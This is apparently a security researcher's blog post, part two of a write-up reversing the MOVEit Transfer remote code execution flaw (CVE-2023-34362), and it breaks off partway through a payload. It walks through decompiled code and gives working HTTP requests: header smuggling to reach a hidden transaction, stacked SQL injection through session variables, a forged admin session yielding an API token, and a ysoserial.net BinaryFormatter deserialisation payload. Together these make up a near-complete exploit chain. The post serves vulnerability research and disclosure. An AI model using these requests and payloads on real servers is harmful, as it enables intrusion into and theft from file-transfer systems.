MOVEIt Transfer RCE Part Two (CVE-2023-34362)

Jun 13, 2023

Where We Left Off

In our last post we detailed our initial work reversing the recent Progress MOVEit Transfer remote code execution vulnerability as well as our proof-of-concept demonstrating the exploit. We implemented checks in our Attack Surface Management platform providing our customers with assurance on whether or not they are affected. However, we declined to post the full exploit chain as it was being actively exploited at the time. Since then, a public proof-of-concept has been posted and so we will now detail the steps we took to reverse the vulnerability.

At this stage in the process, we had a working instance of MOVEit Transfer and were pretty confident that the initial entrypoint was a request to /MOVEitISAPI/MOVEitISAPI.dll?action=m2 which would then pass through to /machine2.aspx. We also knew from the logs posted online that subsequent requests in the chain included the following endpoints:

  • POST /guestaccess.aspx
  • POST /api/v1/token
  • GET /api/v1/folders
  • POST /api/v1/folders/{id}/files?uploadType=resumable
  • PUT /api/v1/folders/{id}/files?uploadType=resumable&fileId={id}

Reversing the DLL with Ghidra

We continued our investigation by decompiling MOVEitISAPI.dll with Ghidra. Using BinDiff we compared both the patched and unpatched versions and found there were no discernible differences between the two.

From this we concluded that the SQL injection was most likely not in MOVEitISAPI.dll, however we did still have to analyze the code a little to determine how to correctly call the /MOVEitISAPI/MOVEitISAPI.dll?action=m2 endpoint. We started our search by looking for “machine2” and found the string “Passing along user’s request to machine2”, which was promising.

 

Looking through the enclosing function we saw what looks like a header X-siLock-Transaction and a potential value folder_add_by_path. These will become important later. The check for folder_add_by_path was also the only way to hit the “Passing along user’s request to machine2” message. Otherwise, we were presented with an “Illegal transaction” message.

local_48 = DAT_180aec878 ^ (ulonglong)auStack_998;
local_930 = param_2;
FUN_1800704e0(param_3,"X-siLock-Transaction",local_8c8 + 0x40,0x40);
iVar3 = FUN_1804da72c(local_8c8 + 0x40,"folder_add_by_path");
iVar12 = 0;
if (iVar3 == 0) {
	local_948[0] = 0;
	FUN_1800d8d10(param_1 + 0x22e28);
	local_970 = (undefined *)CONCAT44(local_970._4_4_,0x800);
	local_978 = (longlong *)local_848;
	iVar3 = FUN_180070630(param_3,local_948,local_8c8,0x40);
	while (iVar3 != 0) {
		iVar3 = FUN_1804da72c(local_8c8,"Cookie");
	  	if ((iVar3 == 0) || (iVar3 = FUN_1800f4710(local_8c8,"X-siLock-"), iVar3 != 0)) {
	    	FUN_18007fe00(param_1,local_8c8,local_848);
	  	}
	  	local_970 = (undefined *)CONCAT44(local_970._4_4_,0x800);
	  	local_978 = (longlong *)local_848;
	  	iVar3 = FUN_180070630(param_3,local_948,local_8c8,0x40);
	}
...
	FUN_1800d8520(0x3c,"Passing along user\'s request to machine2");
...
} else {
    uVar8 = FUN_1804daf20(0x7e4,&local_8e8,10);
    FUN_180080270(param_1,"X-siLock-ErrorCode",uVar8);
    FUN_180080270(param_1,"X-siLock-ErrorDescription","Illegal transaction");
}

Finding SQL Injection

We were confident we knew what information would be needed in our request. As such, we moved onto the /machine2.aspx endpoint to search for the SQL injection location. We loaded the page handler for /machine2.aspx into dnSpy and found that it just called Machine2Main on SILMachine2.

protected void Page_Load(object sender, EventArgs e)
{
	SILMachine2 silmachine = new SILMachine2();
	HttpRequest request = base.Request;
	HttpResponse response = base.Response;
	HttpSessionState session = this.Session;
	HttpApplicationState application = base.Application;
	silmachine.Machine2Main(ref request, ref response, ref session, ref application);
}

Moving into Machine2Main, we found where all those X-siLock-* headers were being handled. There was a CrackInput method which extracted the data from headers. Inside CrackInput we found a long list of headers that were extracted and sanitised.

private bool CrackInput(string ServerVars)
{
	bool flag = true;
	string text = "X-siLock-Transaction";
	this.InputTransaction = this.GetHeaderValue(ref ServerVars, ref text);
	text = "X-siLock-Username";
	this.InputLoginName = this.GetHeaderValForSQL(ref ServerVars, ref text);
	text = "X-siLock-Password";
	this.InputPassword = this.GetHeaderValForSQL(ref ServerVars, ref text);
	text = "X-siLock-Challenge";
	this.InputChallenge = this.GetHeaderValForSQL(ref ServerVars, ref text);
...

We spent some time investigating the two sanitisation methods used, GetHeaderValForSQL and SILUtility.XHTMLClean. But, both were sufficient at preventing injection. The only value that was not sanitised, X-siLock-Transaction, was not used in any SQL queries.

Progressing through Machine2Main, the next method that caught our attention was DoTransaction. This method was near the end of Machine2Main and we could reach it if we had a valid session cookie, even if it was a guest session. DoTransaction effectively performed a switch statement on the provided transaction name and executed the corresponding functionality. However, because of restrictions in MOVEitISAPI.dll, the only transaction we could execute was folder_add_by_path.

if (Operators.CompareString(inputTransaction, "folder_add_by_path", false) != 0)
{
	goto IL_947;
}
flag = true;
IFolderEngine folderEngine = this.siGlobs.objEngine.folderEngine;
string inputFolderPath2 = this.InputFolderPath;
bool flag9 = false;
int num4 = 2;
List<string> list = null;
List<string> list2 = null;
this.ReplyFolderID = folderEngine.FolderAddByPath(inputFolderPath2, flag9, num4, ref list, ref list2, true, false);
goto IL_97E;

We explored the FolderAddBypath method, but could not see anything that would lead to SQL injection. All inputs were either sanitised while building the query or came from headers that were sanitised by CrackInput.

As noted in part one, a piece of functionality that was removed by the patch was the SetAllSessionVarsFromHeaders method. This method was called when processing the session_setvars transaction. SetAllSessionVarsFromHeaders looked interesting as it took the raw input like CrackInput, but did not do any sanitisation. The values were extracted from the headers and set as session variables. Any header that began with X-siLock-SessVar and contained a value in the form KEY: VALUE would be set as a corresponding session variable.

public bool SetAllSessionVarsFromHeaders(string ServerVars)
{
	bool flag = true;
	string[] array = Strings.Split(ServerVars, "\r\n", -1, CompareMethod.Binary);
	int num = Strings.Len("X-siLock-SessVar");
	int num2 = Information.LBound(array, 1);
	int num3 = Information.UBound(array, 1);
	checked
	{
		for (int i = num2; i <= num3; i++)
		{
			if (Operators.CompareString(Strings.Left(array[i], num), "X-siLock-SessVar", false) == 0)
			{
				int num4 = array[i].IndexOf(':', num);
				if (num4 >= 0)
				{
					int num5 = array[i].IndexOf(':', 1 + num4);
					if (num5 > 0)
					{
						string text = array[i].Substring(2 + num4, num5 - num4 - 2);
						string text2 = array[i].Substring(2 + num5);
						this.SetValue(text, text2);
					}
				}
			}
		}
		return flag;
	}
}

Determined to reach this code path and after some fiddling, we were able to smuggle a header through. By sending two X-siLock-Transaction headers one with a prefix and one without we were able to specify any transaction we needed. Our request now looked like the following.

POST /MOVEitISAPI/MOVEitISAPI.dll?action=m2 HTTP/1.1
Host: 192.168.37.144
Connection: close
XX-siLock-Transaction: folder_add_by_path
X-siLock-Transaction: session_setvars
X-siLock-SessVar1: KEY: VALUE
Cookie: ASP.NET_SessionId=mbmku5wyybymnaimli40bg2a; siLockLongTermInstID=0
Content-Length: 0


The XX-siLock-Transaction: folder_add_by_path header would match appropriately for MOVEitISAPI.dll to pass the request through to machine2.aspx, but only X-siLock-Transaction: session_setvars would get copied to the downstream request. Meaning when machine2.aspx went to extract the transaction, all the handler would see is session-setvars.

At this stage we could inject malicious SQL payloads into the session variables, all we had to do was find a location where one of those variables was used in an unsanitised SQL query. To do this we used dnSpy to analyze all the locations the various database query methods were used. We then went through each of these calls looking for any that could be used to perform a SQL injection attack.

 

We focused on calls in locations that appeared to have a high chance of being accessible such as those in the session handling and machine2.aspx code paths. Eventually, we made our way to the handler for /guestaccess.aspx, which was a page we knew was accessed as part of the attack chain and one we had already touched on briefly as that was how we setup our initial session. In this handler we found the following query that looked very injectable:

if (this.m_pkginfo.IsSelfProvisioned)
{
	this.siGlobs.objWrap.DoUpdateQuery(
		"UPDATE guestfileaccess SET Viewed=1 WHERE AccessCode='" +
		this.m_accesscode +
		"'",
		null
	);
	this.m_gotoselfprovisiondone = true;
	this.siGlobs.objUser.RemoveSession();
	this.ClearVariables();
	return;
}

We traced this.m_accesscode back to find where it was set. This lead us to the following method call in SILGuestPackageInfo:

public void LoadFromSession()
{
	this.AccessCode = this.siGlobs.objSession.GetValue("MyPkgAccessCode");
	this.ValidationCode = this.siGlobs.objSession.GetValue("MyPkgValidationCode");
	this.PkgID = this.siGlobs.objSession.GetValue("MyPkgID");
	this.EmailAddr = this.siGlobs.objSession.GetValue("MyGuestEmailAddr");
	this.InstID = this.siGlobs.objSession.GetValue("MyPkgInstID");
	this.IsSelfProvisioned = Operators.CompareString(this.PkgID, "0", false) == 0;
	this.SelfProvisionedRecips = this.siGlobs.objSession.GetValue("MyPkgSelfProvisionedRecips");
	this.Viewed = ((-((SILUtility.StrToBool(this.siGlobs.objSession.GetValue("MyPkgViewed")) > false) ? 1 : 0)) ? 1 : 0);
}

AccessCode is the value that would be propagated down to m_accesscode.

However, there was a problem. LoadFromSession was called at the start of the handler and the SQL injection point was several hundred lines later. To get through this we attached a debugger and set a breakpoint just after LoadFromSession, set the MyPkgAccessCode variable in our request and started stepping through the code.

Each time we hit a check or something missing that would halt the request or send it down the wrong branch, we tweaked our request and tried again. A lot of what we were missing were simple variables needing to be set, but there were several larger pieces which required a bit more work.

The first of these was the CSRF token. Searching through our request history, we didn’t find any requests that had a token in the response. We looked through all the calls to generate a CSRF token (GetCT) and found one on the guestaccess.aspx page. It was a bit fiddly, but we tracked it down to needing a specific value for m_nextform to be set, which we found was possible as follows:

else if (Operators.CompareString(this.m_accesscode, string.Empty, false) == 0)
{
	this.m_nextform = "promptaccesscode";
}
else if (Operators.CompareString(this.m_validationcode, string.Empty, false) == 0)
{
	this.m_nextform = "promptpassword";
}
else if (Operators.CompareString(this.siGlobs.Arg12, string.Empty, false) == 0 || Operators.CompareString(this.siGlobs.Arg12, "message", false) == 0)
{
	this.m_nextform = "pkgview";
}
else
{
	this.m_nextform = this.siGlobs.Arg12;
}

this.siGlobs.Arg12 is set straight from the form parameters. All we had to do was make a request with arg12=promptaccesscode in the POST body and extract the CSRF token from the response.

The next notable hurdle was right before the SQL injection point in the following call:

string text3 = this.siGlobs.objEngine.msgEngine.MsgPostForGuest(
	ref this.m_pkginfo,
	ref this.siGlobs.Arg01,
	ref cleanedMessage,
	ref this.siGlobs.Arg09,
	ref this.siGlobs.Arg08,
	ref this.siGlobs.Opt19,
	num
);

MsgPostForGuest constituted over a thousand lines of code to assemble and send a notification about the accessed package. Some of the checks were trivial, like setting a subject and using a “from” address which resembled a valid email address.

The big problem was the session variable MyPkgSelfProvisionedRecips, it had to contain a comma separated list of email addresses. The addresses specified were used to query the database and find a list of usernames. If no valid users were found, no notification would be sent and we couldn’t hit our SQL injection.

Below is an example of the SQL query used to lookup users based on their email address (we’ve used [email protected] as our address).

SELECT
	Username, Permission, LoginName, Email
FROM
	users
WHERE
	InstID=0 AND Deleted=0 AND Permission>=10 AND (
		Email='[email protected]' OR 
		`Email` LIKE '[email protected],%' OR
		`Email` LIKE '%,[email protected]' OR 
		`Email` LIKE '%,[email protected],%'
	)
ORDER BY
	LoginName`

Seeing the LIKE operator we thought we were in luck, %.com% would just match all addresses and we would be fine. Unfortunately, every % is either preceded by or followed by a comma. Presumably the application lets users specify multiple email addresses and stores them as a comma separated list.

Whatever the reason, it meant we couldn’t use that technique to bypass this check. We continued looking at how the query was built and found the following:

object obj = NewLateBinding.LateGet(null, typeof(string), "Format", array = new object[]
{
	Operators.ConcatenateObject(
		Operators.ConcatenateObject(
			Operators.ConcatenateObject(
				Operators.ConcatenateObject(
					Operators.ConcatenateObject(
						Operators.ConcatenateObject(
							Operators.ConcatenateObject(
								Operators.ConcatenateObject(
									"SELECT Username, Permission, LoginName, Email FROM users WHERE InstID={0} AND Deleted=" + Conversions.ToString(0) + " ",
									Interaction.IIf(bJustEndUsers, "AND Permission>=" + Conversions.ToString(10) + " ", "")
								),
								"AND "
							),
							"("
						),
						"Email='{2}' OR "
					),
					this.siGlobs.objUtility.BuildLikeForSQL("Email", "{1},%", true, false, true, false)
				),
				Interaction.IIf(bJustFirstEmail, "", " OR " + this.siGlobs.objUtility.BuildLikeForSQL("Email", "%,{1}", true, false, true, false) + " OR " + this.siGlobs.objUtility.BuildLikeForSQL("Email", "%,{1},%", true, false, true, false))
			),
			") "
		),
		"ORDER BY LoginName"
	),
	InstID,
	this.siGlobs.objUtility.EscapeLikeForSQL(EmailAddress),
	EmailAddress
}, null, null, array2 = new bool[]
{
	default(bool),
	true,
	default(bool),
	true
});

Although the LIKE operators were sanitised, "Email='{2}' OR " was not. This meant we could achieve SQL injection with stacked queries right here. But, since the recipient list is split on commas we would be a bit constrained. Instead, we used this vulnerability to skip needing to know a user’s email by constructing a query which returned the first of all non-deleted users.

SELECT
	Username, Permission, LoginName, Email
FROM
	users
WHERE
	InstID=0 AND Deleted=0 AND Permission>=10 AND (Email='x' or 1=1)
LIMIT 1; -- a' OR  `Email` LIKE 'x' or 1=1) LIMIT 1; -- a,%'  OR  `Email` LIKE '%,x' or 1=1) LIMIT 1; -- a'  OR  `Email` LIKE '%,x' or 1=1) LIMIT 1; -- a,%' ) ORDER BY LoginName`

We were now able to execute our first stacked query with the following payload that would update the innocuous “notes” field of the “sysadmin” user.

POST /MOVEitISAPI/MOVEitISAPI.dll?action=m2 HTTP/1.1
Host: 192.168.37.144
Connection: close
XX-siLock-Transaction: folder_add_by_path
X-siLock-Transaction: session_setvars
X-siLock-SessVar1: MyUsername: Guest
X-siLock-SessVar2: MyPkgValidationCode: 1
X-siLock-SessVar3: MyInstMessaging: 1
X-siLock-SessVar4: MyGuestEmailAddr: [email protected]
X-siLock-SessVar5: MyPkgID: 0
X-siLock-SessVar6: MyPkgSelfProvisionedRecips: x' or 1=1) LIMIT 1; -- a
X-siLock-SessVar7: MyPkgAccessCode: 1'; update users set notes='pwned' where loginname='sysadmin'; -- a
Cookie: ASP.NET_SessionId=21ts1wiqbftjbjqjbrnjbuxj; siLockLongTermInstID=0
Content-Length: 0


After executing our payload we checked the database and were very happy to see that it had worked.

mysql> select notes,loginname from users;
+-------+-----------+
| notes | loginname |
+-------+-----------+
|       | admin     |
| pwned | sysadmin  |
+-------+-----------+
2 rows in set (0.00 sec)

Gaining Admin API Access

With our SQL injection in hand we could now move onto the next step in the chain, which was figuring out how to pivot this into remote code execution.

We knew the attackers were calling API endpoints as part of the exploit and so our next step was determining how to get an API token. We read the documentation for /api/v1/token and found five possible grant types were available: password, refresh_token, otp, code and external_token. However, we also looked at the implementation and found an unlisted option that was a lot more exciting.

public override async Task GrantCustomExtension(OAuthGrantCustomExtensionContext context)
{
	await this._container.RunAsync(delegate
	{
		if (MOVEitAuthorizationServerProvider.IsSessionGrantType(context))
		{
			this.GrantSessionToken(context);
			return;
		}
		if (MOVEitAuthorizationServerProvider.IsOtpGrantType(context))
		{
			this.GrantOtpToken(context);
			return;
		}
		if (MOVEitAuthorizationServerProvider.IsCodeGrantType(context))
		{
			this.GrantAuthorizationCodeToken(context);
			return;
		}
		if (MOVEitAuthorizationServerProvider.IsExternalTokenGrantType(context))
		{
			this.GrantTokenFromExternalToken(context);
			return;
		}
		context.SetError("invalid_grant");
	});
}

GrantSessionToken seemed like something that would work much better with our SQL injection. Digging through the call stack, we found that this code path ran the following SQL query to determine whether a session was valid or not.

SILDictionary<string, string> sildictionary =
	new SQLBasicBuilder(this.siGlobs.objWrap, SqlTable.ActiveSessions)
		.AddAllColumnsToSelect()
		.AddAndColumnEqualsToWhere<string>(SqlTable.ActiveSessions, "SessionID", trySessionId, true, "")
		.AddAndColumnEqualsToWhere<int>(SqlTable.ActiveSessions, "Remove", 0, false, "")
		.AddAndToWhere("LastTouch > TIMESTAMPADD(MINUTE, -Timeout, CURRENT_TIMESTAMP)")
		.SetLimit(1)
		.SelectQueryRow();

The query would search the activesessions table for an entry that matched the current session ID and had not expired. This seemed easy enough to exploit, we created a new session and then ran the following query via SQL injection.

insert into activesessions (
	SessionID,
	Username,
	LoginName,
	LastTouch,
	InterfaceCode,
	IPAddress
) values (
	'sv3b3drb2turhcxna00kewh1',
	(select username from users where loginname='sysadmin'),
	'sysadmin',
	'2023-12-30',
	6,
	'127.0.0.1'
);

Since username is randomly generated, we would not know what the correct value for the sysadmin user. So we had to run a subquery instead.

(select username from users where loginname='sysadmin')

InterfaceCode and IPAddress are both needed for additional checks later on to determine whether or not the session is valid for this request. These values were discovered via the same process as was used for the notification recipients. We attached a debugger and stepped through while tweaking the request until we got into the code branch we wanted.

After running our SQL injection, we requested an API token with the following request. Username and password are required, but ignored.

POST /api/v1/token HTTP/1.1
Host: 192.168.37.144
Connection: close
Cookie: ASP.NET_SessionId=sv3b3drb2turhcxna00kewh1; siLockLongTermInstID=0
Content-Length: 40
Content-Type: application/x-www-form-urlencoded

username=x&password=x&grant_type=session


HTTP/1.1 200 OK
Cache-Control: private
Pragma: no-cache
Content-Type: application/json;charset=UTF-8
Expires: -1
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
X-Robots-Tag: noindex
Date: Fri, 09 Jun 2023 06:04:27 GMT
Connection: close
Content-Length: 826

{"access_token":"RytHoy6hAz_i9G49Gb0IWrhFL3cwGah685NkjRrrK9mrDTUvxJcq09G6ymqCHf3aMkFaa6Y-nMr61fxBbaPAAjJIAKE_Rp03FsQNdEpVmSYUxAl_D37l5PkyEivp24SFC5xJqP_liugbZJSV4yc3MpyziDzvu1ZYIUynRkMVWKdPDF-EF0z470967s5NDbvsPW35CZgZS2ypZjrIrPxxq6fyncBaMEAfOU41rPq82BKKxCV-IvPDABVuEu5ZrxwPeYwMzljoEek2x-LCEnvqSLa1SSPWMze5KKKPCMRDINWQzTisJg9BiIXwW73RR7yO-tq7VF_Okvma58mdl1T9dAm9K9_apIhZvAECandwhHSSvC68KwRIkw","token_type":"bearer","expires_in":1199,"refresh_token":"DgWX254Nv7nN-M1D2UHIsBXGLlJMjd8ueH9_xV_O31UzSlaEGTfYvwpGRV44y3kBIrtyMtyBYyJUUVeB2k5JpdsR8sIcIk8spk79bzEMm7FhqZ-YFteGiv2NDWhgNl7J5OKBIlt6PMWfgU5oKkv8BH0XIVnE9azw2Q_mbrZp8DSzEpTqSaJWkBGSCPzGyj_Mwmj3Xj6h6Za5BSW4UUJOic0-rDpzhEcazKfDwh2VY-llxNjxT4vql9nFR6gO7IiZ3VjvkN4CPpUzXttjLB2BFlbkIjOjWv-1ppbHKwljeH3rH-IYnQcKG9nZgmEjRv2NzDHSB3apv3MgRhYfHILfjwBaJWl7SaQhVXSdymO443GmgevvxBswZA"}

RCE, But Not What We Expected

We were pretty close. We had full control of the database and full access to the API. But, we still didn’t have the full attack chain.

From the released logs we were confident the next step involved the following endpoints.

  • GET /api/v1/folders
  • POST /api/v1/folders/{id}/files?uploadType=resumable
  • PUT /api/v1/folders/{id}/files?uploadType=resumable&fileId={id}

Our theory was an attacker creates a “resumable” file upload, uses SQL injection to modify the upload’s destination and then continues with the upload. To begin, we looked at the request handlers for resumable uploads. Below is the handler for uploading the file content.

[HttpPut]
[Route("{Id}/files", Name = "FolderUploadFilePart")]
[ApiExplorerSettings(IgnoreApi = true)]
public async Task<IHttpActionResult> UploadFilePart([FromUri] FolderUploadFilePartRequest request)
{
	IEnumerable<string> enumerable;
	if (base.Request.Headers.TryGetValues("X-File-Hash", out enumerable))
	{
		request.FileHash = enumerable.First<string>();
	}
	HttpContent content = this._bufferlessContentProvider.GetContent(base.Request);
	if (content.Headers.ContentLength != null)
	{
		request.ChunkSize = content.Headers.ContentLength.Value;
	}
	IEnumerable<string> enumerable2;
	if (content.Headers.TryGetValues("Content-Range", out enumerable2))
	{
		ContentRangeHeaderValue contentRangeHeaderValue;
		ContentRangeHeaderValue.TryParse(enumerable2.First<string>(), out contentRangeHeaderValue);
		request.UploadRange = contentRangeHeaderValue;
	}
	using (Stream stream = this._resumableUploadFilePartHandler.GetUploadStream(request))
	{
		if (stream != Stream.Null)
		{
			await base.Request.Content.CopyToAsync(stream);
		}
	}

The interesting line was this._resumableUploadFilePartHandler.GetUploadStream(request). If we could control the output file connected to this Stream, we could write a payload into the webroot and get remote code execution. Unfortunately, after tracking down where the stream was created we found the following:

private FileTransferStream CreateFileUploadStream(DataFilePath filePath)
{
	return new FileTransferStream(
		filePath,
		EncryptedStream.CryptoMode.Encryption,
		this._fileSystemFactory
	);
}

Any files saved as part of the resumable file upload were always encrypted on disk. This meant that even if we could control where the files were saved, they would not be executed.

However, there was a silver lining. While tracking down the creation of the upload stream, we came across DeserializeFileUploadStream. A new stream would only be created if _uploadState was empty. Otherwise, one was deserialised. If we could control the _uploadState variable, we could could achieve remote code execution via unsafe deserialisation.

private FileTransferStream DeserializeFileUploadStream(DataFilePath filePath)
{
	if (this._uploadState.Length == 0)
	{
		return this.CreateFileUploadStream(filePath);
	}
	int num = 1;
	...
	BinaryFormatter binaryFormatter = new BinaryFormatter
	{
		Context = new StreamingContext(StreamingContextStates.All, fileHeaderStream)
	};
	FileTransferStream fileTransferStream;
	using (MemoryStream memoryStream = new MemoryStream(this._uploadState))
	{
		fileTransferStream = (FileTransferStream)binaryFormatter.Deserialize(memoryStream);
	}
	return fileTransferStream;
}

Again, we used dnSpy’s analyzer to determine where _uploadState was assigned and found only one location.

 

We looked into GetFileUploadInfo we found the following.

private bool GetFileUploadInfo()
{
	string tableNameAttribute = SqlTable.FileUploadInfo.GetTableNameAttribute();
	string tableNameAttribute2 = SqlTable.Files.GetTableNameAttribute();
	SILDictionary<string, string> sildictionary =
		new SQLBasicBuilder(this._globals.objWrap, SqlTable.FileUploadInfo)
			.AddColumnToSelect(tableNameAttribute, "Comment")
			.AddColumnToSelect(tableNameAttribute, "XferID")
			.AddColumnToSelect(tableNameAttribute, "State")
			.AddLeftJoin(tableNameAttribute2, tableNameAttribute2 + ".ID=" + tableNameAttribute + ".FileID")
			.AddAndToWhere(tableNameAttribute + ".FileID='" + this._fileId + "'")
			.AddAndToWhere(tableNameAttribute2 + ".UploadUsername='" + this._currentUser.Username + "'")
			.SelectQueryRow();
	if (sildictionary == null)
	{
		this.SetParameterError(3800, 90512, this._fileId);
		return false;
	}
	this._originalUploadComment = this._globals.objUtility.DBFieldDecrypt(sildictionary["Comment"]);
	this._xferId = long.Parse(sildictionary["XferID"]);
	this._uploadState = Convert.FromBase64String(this._globals.objUtility.DBFieldDecrypt(sildictionary["State"]));
	return true;
}

The _uploadState was set from the database. This meant we could use SQL injection to set it. But, there was a catch, the State field was encrypted.

After some investigation, it seemed unlikely that we would find an easy way to bypass the encryption. Instead, we looked for locations where the application would encrypt data for us and save it to the database. That way, all we had to do was use our SQL injection to copy the value over.

We looked through all the calls to DBFieldEncrypt and found one that should have been obvious.

private void CreateUploadInfo()
{
	DMLRecord dmlrecord = new DMLRecord(this._globals, SqlTable.FileUploadInfo);
	dmlrecord.AddColumn("FileID", this._fileId, false);
	dmlrecord.AddColumn("Comment", this._globals.objUtility.DBFieldEncrypt(this._comment), false);
	dmlrecord.AddColumn("XferID", this._xferId, false);
	dmlrecord.DoInsert();
}

The Comment field of the table we were already looking at was also encrypted. We didn’t even need to call a new endpoint, all we had to do was set the comment to our payload when we created the resumable file upload.

So we generated a payload with ysoserial.net.

>ysoserial.exe -g WindowsIdentity -f BinaryFormatter -c "whoami > C:\x.txt"
AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQEAAAAkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yAQYCAAAA2AlBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBd3dVOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0TVRZaVB6NE5DanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWElnVFdWMGFHOWtUbUZ0WlQwaVUzUmhjblFpSUVselNXNXBkR2xoYkV4dllXUkZibUZpYkdWa1BTSkdZV3h6WlNJZ2VHMXNibk05SW1oMGRIQTZMeTl6WTJobGJXRnpMbTFwWTNKdmMyOW1kQzVqYjIwdmQybHVabmd2TWpBd05pOTRZVzFzTDNCeVpYTmxiblJoZEdsdmJpSWdlRzFzYm5NNmMyUTlJbU5zY2kxdVlXMWxjM0JoWTJVNlUzbHpkR1Z0TGtScFlXZHViM04wYVdOek8yRnpjMlZ0WW14NVBWTjVjM1JsYlNJZ2VHMXNibk02ZUQwaWFIUjBjRG92TDNOamFHVnRZWE11YldsamNtOXpiMlowTG1OdmJTOTNhVzVtZUM4eU1EQTJMM2hoYld3aVBnMEtJQ0E4VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5TGs5aWFtVmpkRWx1YzNSaGJtTmxQZzBLSUNBZ0lEeHpaRHBRY205alpYTnpQZzBLSUNBZ0lDQWdQSE5rT2xCeWIyTmxjM011VTNSaGNuUkpibVp2UGcwS0lDQWdJQ0FnSUNBOGMyUTZVSEp2WTJWemMxTjBZWEowU1c1bWJ5QkJjbWQxYldWdWRITTlJaTlqSUhkb2IyRnRhU0FtWjNRN0lFTTZYSGd1ZEhoMElpQlRkR0Z1WkdGeVpFVnljbTl5Ulc1amIyUnBibWM5SW50NE9rNTFiR3g5SWlCVGRHRnVaR0Z5WkU5MWRIQjFkRVZ1WTI5a2FXNW5QU0o3ZURwT2RXeHNmU0lnVlhObGNrNWhiV1U5SWlJZ1VHRnpjM2R2Y21ROUludDRPazUxYkd4OUlpQkViMjFoYVc0OUlpSWdURzloWkZWelpYSlFjbTltYVd4bFBTSkdZV3h6WlNJZ1JtbHNaVTVoYldVOUltTnRaQ0lnTHo0TkNpQWdJQ0FnSUR3dmMyUTZVSEp2WTJWemN5NVRkR0Z5ZEVsdVptOCtEUW9nSUNBZ1BDOXpaRHBRY205alpYTnpQZzBLSUNBOEwwOWlhbVZqZEVSaGRHRlFjbTkyYVdSbGNpNVBZbXBsWTNSSmJuTjBZVzVqWlQ0TkNqd3ZUMkpxWldOMFJHRjBZVkJ5YjNacFpHVnlQZ3M9Cw==

Sent the first request which created the resumable upload.

POST /api/v1/folders/964602477/files?uploadType=resumable HTTP/1.1
Host: 192.168.37.144
Connection: close
Authorization: Bearer ...
Content-Length: 2374
Content-Type: multipart/form-data; boundary=25233a574988c6ad054da8335aeb4c35

--25233a574988c6ad054da8335aeb4c35
Content-Disposition: form-data; name="name"; filename="name"

x.txt
--25233a574988c6ad054da8335aeb4c35
Content-Disposition: form-data; name="comments"; filename="comments"

AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQEAAAAkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yAQYCAAAA2AlBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBd3dVOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0TVRZaVB6NE5DanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWElnVFdWMGFHOWtUbUZ0WlQwaVUzUmhjblFpSUVselNXNXBkR2xoYkV4dllXUkZibUZpYkdWa1BTSkdZV3h6WlNJZ2VHMXNibk05SW1oMGRIQTZMeTl6WTJobGJXRnpMbTFwWTNKdmMyOW1kQzVqYjIwdmQybHVabmd2TWpBd05pOTRZVzFzTDNCeVpYTmxiblJoZEdsdmJpSWdlRzFzYm5NNmMyUTlJbU5zY2kxdVlXMWxjM0JoWTJVNlUzbHpkR1Z0TGtScFlXZHViM04wYVdOek8yRnpjMlZ0WW14NVBWTjVjM1JsYlNJZ2VHMXNibk02ZUQwaWFIUjBjRG92TDNOamFHVnRZWE11YldsamNtOXpiMlowTG1OdmJTOTNhVzVtZUM4eU1EQTJMM2hoYld3aVBnMEtJQ0E4VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5TGs5aWFtVmpkRWx1YzNSaGJtTmxQZzBLSUNBZ0lEeHpaRHBRY205alpYTnpQZzBLSUNBZ0lDQWdQSE5rT2xCeWIyTmxjM011VTNSaGNuUkpibVp2UGcwS0lDQWdJQ0FnSUNBOGMyUTZVSEp2WTJWemMxTjBZWEowU1c1bWJ5QkJjbWQxYldWdWRITTlJaTlqSUhkb2IyRnRhU0FtWjNRN0lFTTZYSGd1ZEhoMElpQlRkR0Z1WkdGeVpFVnljbTl5Ulc1amIyUnBibWM5SW50NE9rNTFiR3g5SWlCVGRHRnVaR0Z5WkU5MWRIQjFkRVZ1WTI5a2FXNW5QU0o3ZURwT2RXeHNmU0lnVlhObGNrNWhiV1U5SWlJZ1VHRnpjM2R2Y21ROUludDRPazUxYkd4OUlpQkViMjFoYVc0OUlpSWdURzloWkZWelpYSlFjbTltYVd4bFBTS